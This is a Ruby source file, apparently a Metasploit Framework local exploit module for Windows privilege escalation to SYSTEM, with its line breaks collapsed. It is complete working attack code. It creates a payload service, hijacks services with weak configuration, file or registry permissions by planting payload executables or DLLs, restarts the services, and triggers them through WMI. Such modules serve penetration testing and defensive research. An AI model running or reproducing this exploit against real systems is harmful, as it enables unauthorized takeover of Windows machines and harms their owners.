## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Post::Windows::Accounts include Msf::Post::Windows::Registry include Msf::Post::Windows::WMIC include Msf::Exploit::EXE include Msf::Exploit::FileDropper ERROR = Msf::Post::Windows::Error def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation', 'Description' => %q{ This module attempts to exploit existing administrative privileges to obtain a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure configuration, file or registry permissions that may be hijacked. It will then attempt to restart the replaced service to run the payload. This will result in a new session when this succeeds. }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie', # service and file permission techniques 'Spencer McIntyre', # registry permission technique 'itm4n' # registry permission technique ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, 'Targets' => [ [ 'Automatic', {} ], ], 'References' => [ ['URL', 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2012-10-15' ) ) register_options([ OptBool.new('AGGRESSIVE', [ false, 'Exploit as many services as possible (dangerous)', false ]) ]) register_advanced_options([ OptString.new('TargetServiceName', [ false, 'The name of a specific service to target', false ]) ]) deregister_options('RHOST', 'SMBUser', 'SMBPass', 'SMBDomain') end def execute_payload_as_new_service(path) success = false print_status('Trying to add a new service...') service_name = Rex::Text.rand_text_alpha((rand(6..13))) if service_create(service_name, { path: path, display: '' }) == ERROR::SUCCESS print_status("Created service... #{service_name}") write_exe(path, service_name) if service_start(service_name) == ERROR::SUCCESS print_good('Service should be started! Enjoy your new SYSTEM meterpreter session.') success = true end service_delete(service_name) else print_status('No privileges to create a service...') success = false end return success end def weak_service_permissions(service_name, service, path) success = false vprint_status("[#{service_name}] Checking for weak service permissions") if (service_change_config(service_name, { path: path }) == ERROR::SUCCESS) print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}") print_status("[#{service_name}] Restarting service") res = service_stop(service_name) if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) write_exe(path, service_name) if service_restart(service_name) print_good("[#{service_name}] Service restarted") success = true else print_error("[#{service_name}] Unable to restart service") end end unless (service_change_config(service_name, { path: service[:path] }) == ERROR::SUCCESS) print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}") end end return success end def weak_file_permissions(service_name, service, _path, token) success = false vprint_status("[#{service_name}] Checking for weak file permissions") # get path to exe; parse out quotes and arguments original_path = service[:path] possible_path = expand_path(original_path) if (possible_path[0] == '"') possible_path = possible_path.split('"')[1] else possible_path = possible_path.split(' ')[0] end unless file?(possible_path) # If we can't determine it manually show the user and let them decide if manual inspection is worthwhile print_status("[#{service_name}] Cannot reliably determine path: #{possible_path}") end file_permissions = check_dir_perms(possible_path, token) if file_permissions && file_permissions.index('W') print_good("[#{service_name}] Write access to #{possible_path}") begin status = service_status(service_name) no_access = false # Unless service is already stopped if status[:state] == SERVICE_STOPPED stopped = true else res = service_stop(service_name) stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) end rescue RuntimeError => e vprint_error("[#{service_name}] #{e} ") no_access = true end if stopped || no_access begin if move_file(possible_path, "#{possible_path}.bak") write_exe(possible_path, service_name) print_status("[#{service_name}] #{possible_path} moved to #{possible_path}.bak and replaced.") if service_restart(service_name) # rubocop:disable Metrics/BlockNesting print_good("[#{service_name}] Service restarted") success = true else print_error("[#{service_name}] Unable to restart service") end end rescue Rex::Post::Meterpreter::RequestError => e vprint_error("[#{service_name}] #{e}") end else vprint_error("[#{service_name}] Unable to stop service") end end return success end def weak_registry_permissions(service_name) # check the system and payload architectures are compatible, otherwise this technique won't work return false if sysinfo['Architecture'] != payload_arch vprint_status("[#{service_name}] Checking for weak registry permissions") backup = nil reg_key = "HKLM\\System\\CurrentControlSet\\Services\\#{service_name}\\Performance" if registry_enumvals(reg_key).nil? return false unless registry_createkey(reg_key) print_good("[#{service_name}] Created registry key: #{reg_key}") else backup = {} # backup values to restore later %w[Library Open Collect Close].each do |value| backup[value] = registry_getvaldata(reg_key, value) end end envs = get_envs('TEMP') dll_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.dll" vprint_status("[#{service_name}] Writing payload DLL to #{dll_path}") write_file(dll_path, generate_payload_dll) register_files_for_cleanup(dll_path) success = true success &&= registry_setvaldata(reg_key, 'Library', dll_path, 'REG_SZ') success &&= registry_setvaldata(reg_key, 'Open', 'OpenPerfData', 'REG_SZ') success &&= registry_setvaldata(reg_key, 'Collect', 'CollectPerfData', 'REG_SZ') success &&= registry_setvaldata(reg_key, 'Close', 'ClosePerfData', 'REG_SZ') # don't use session_count to accurately account for AGGRESSIVE mode session_count = self.session_count if success vprint_status("[#{service_name}] Triggering the payload via WMI...") wmic_query('Path Win32_Perf Get', server = 'localhost') # rubocop:disable Lint/UselessAssignment end if backup.nil? registry_deletekey(reg_key) else backup.each_pair do |value, data| if data.nil? registry_deleteval(reg_key, value) else registry_setvaldata(reg_key, value, data, 'REG_SZ') end end end return false unless success # reuse the WMI command timeout since execution is dependent on the WMI command trigger 0.upto(datastore['TIMEOUT']) do |_| sleep(1) break if self.session_count > session_count end self.session_count > session_count end # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to # define the correct servicename. def write_exe(path, service_name = nil) vprint_status("[#{service_name}] Writing service executable to #{path}") exe = generate_payload_exe_service({ servicename: service_name, arch: payload_arch }) write_file(path, exe) register_files_for_cleanup(path) end def payload_arch if payload.arch.include?(ARCH_X64) return ARCH_X64 else return ARCH_X86 end end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] != payload_arch print_error('The registry technique will be skipped because the payload architecture does not match the native system architecture') end tempexe_name = "#{Rex::Text.rand_text_alpha(rand(6..13))}.exe" dir_env = get_envs('SystemRoot', 'TEMP') tmpdir = dir_env['TEMP'] tempexe = "#{tmpdir}\\#{tempexe_name}" if datastore['TargetServiceName'].blank? begin return if execute_payload_as_new_service(tempexe) rescue RuntimeError => e vprint_status("Unable to create a new service: #{e}") end end aggressive = datastore['AGGRESSIVE'] print_status('Trying to find weak permissions in existing services..') token = get_imperstoken each_service do |serv| service_name = serv[:name] next unless (datastore['TargetServiceName'].blank? || datastore['TargetServiceName'].downcase == service_name.downcase) service = service_info(service_name) begin return if weak_file_permissions(service_name, service, tempexe, token) && !aggressive rescue RuntimeError => e vprint_status("[#{serv[:name]}] #{e}") end begin return if weak_service_permissions(service_name, service, tempexe) && !aggressive rescue RuntimeError => e vprint_status("[#{serv[:name]}] #{e}") end begin return if weak_registry_permissions(service_name) && !aggressive rescue RuntimeError => e vprint_status("[#{serv[:name]}] #{e}") end end end end